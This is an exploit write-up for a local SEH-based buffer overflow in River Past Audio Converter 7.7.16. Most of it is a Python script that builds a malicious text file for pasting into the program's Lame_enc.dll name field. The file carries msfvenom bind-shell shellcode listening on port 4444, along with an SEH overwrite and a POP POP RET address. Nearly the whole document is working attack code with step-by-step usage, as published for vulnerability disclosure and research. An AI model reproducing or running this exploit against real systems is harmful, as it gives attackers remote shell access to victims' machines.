River Past Audio Converter 7.7.16 – Buffer Overflow (SEH)
# Exploit Title: River_Past_Audio_Converter - Buffer Overflow (SEH) # Date: 06.02.2019 # Vendor Homepage: www.riverpast.com # Software Link: https://en.softonic.com/download/river-past-audio-converter/windows/post-download?sl=3D1 # Exploit Author: Matteo Malvica # Tested Version: 7.7.16 # Tested on: Windows 10 - 10.0.17134.1 # Vulnerability Type: Local Buffer Overflow (SEH) # # Steps: # 1.- Run python code : River_Past_Audio_Converter.py # 2.- Open carbonara.txt and copy content to clipboard # 3.- Open River_PastAudio_Converter.exe and click on the 'Options' inside fhe 'File' menu. # 4.- Paste the content of carbonara.txt into the 'Lame_enc.dll' name field. # 5.- Click 'OK' and you will have a bind shell listening on port 4444. import socket import struct #msfvenom -p windows/shell_bind_tcp LPORT=4444 -a x86 -b '\x00\x0d\x0a\x42' -f python shellcode = "" shellcode += "\x31\xc9\x83\xe9\xae\xe8\xff\xff\xff\xff\xc0\x5e\x81" shellcode += "\x76\x0e\xba\xfe\x4d\xcc\x83\xee\xfc\xe2\xf4\x46\x16" shellcode += "\xcf\xcc\xba\xfe\x2d\x45\x5f\xcf\x8d\xa8\x31\xae\x7d" shellcode += "\x47\xe8\xf2\xc6\x9e\xae\x75\x3f\xe4\xb5\x49\x07\xea" shellcode += "\x8b\x01\xe1\xf0\xdb\x82\x4f\xe0\x9a\x3f\x82\xc1\xbb" shellcode += "\x39\xaf\x3e\xe8\xa9\xc6\x9e\xaa\x75\x07\xf0\x31\xb2" shellcode += "\x5c\xb4\x59\xb6\x4c\x1d\xeb\x75\x14\xec\xbb\x2d\xc6" shellcode += "\x85\xa2\x1d\x77\x85\x31\xca\xc6\xcd\x6c\xcf\xb2\x60" shellcode += "\x7b\x31\x40\xcd\x7d\xc6\xad\xb9\x4c\xfd\x30\x34\x81" shellcode += "\x83\x69\xb9\x5e\xa6\xc6\x94\x9e\xff\x9e\xaa\x31\xf2" shellcode += "\x06\x47\xe2\xe2\x4c\x1f\x31\xfa\xc6\xcd\x6a\x77\x09" shellcode += "\xe8\x9e\xa5\x16\xad\xe3\xa4\x1c\x33\x5a\xa1\x12\x96" shellcode += "\x31\xec\xa6\x41\xe7\x96\x7e\xfe\xba\xfe\x25\xbb\xc9" shellcode += "\xcc\x12\x98\xd2\xb2\x3a\xea\xbd\x01\x98\x74\x2a\xff" shellcode += "\x4d\xcc\x93\x3a\x19\x9c\xd2\xd7\xcd\xa7\xba\x01\x98" shellcode += "\xa6\xb2\xa7\x1d\x2e\x47\xbe\x1d\x8c\xea\x96\xa7\xc3" shellcode += "\x65\x1e\xb2\x19\x2d\x96\x4f\xcc\xab\xa2\xc4\x2a\xd0" shellcode += "\xee\x1b\x9b\xd2\x3c\x96\xfb\xdd\x01\x98\x9b\xd2\x49" shellcode += "\xa4\xf4\x45\x01\x98\x9b\xd2\x8a\xa1\xf7\x5b\x01\x98" shellcode += "\x9b\x2d\x96\x38\xa2\xf7\x9f\xb2\x19\xd2\x9d\x20\xa8" shellcode += "\xba\x77\xae\x9b\xed\xa9\x7c\x3a\xd0\xec\x14\x9a\x58" shellcode += "\x03\x2b\x0b\xfe\xda\x71\xcd\xbb\x73\x09\xe8\xaa\x38" shellcode += "\x4d\x88\xee\xae\x1b\x9a\xec\xb8\x1b\x82\xec\xa8\x1e" shellcode += "\x9a\xd2\x87\x81\xf3\x3c\x01\x98\x45\x5a\xb0\x1b\x8a" shellcode += "\x45\xce\x25\xc4\x3d\xe3\x2d\x33\x6f\x45\xbd\x79\x18" shellcode += "\xa8\x25\x6a\x2f\x43\xd0\x33\x6f\xc2\x4b\xb0\xb0\x7e" shellcode += "\xb6\x2c\xcf\xfb\xf6\x8b\xa9\x8c\x22\xa6\xba\xad\xb2" shellcode += "\x19" padding="\x21"*280 nseh = "\xEB\x12\x90\x90" seh = struct.pack('<L',0x10011977) # 10011977 # POP POP RET rest = "\x24" * (3000-len(padding)-len(shellcode)-4) nops = "\x90\x90\x90\x90" payload = padding + nseh + seh + nops * 16 + shellcode + rest try: f=open("carbonara.txt","w") print "[+] Creating %s bytes pasta payload.." %len(payload) f.write(payload) f.close() print "[+] Carbonara created!" except: print "Carbonara cannot be created" |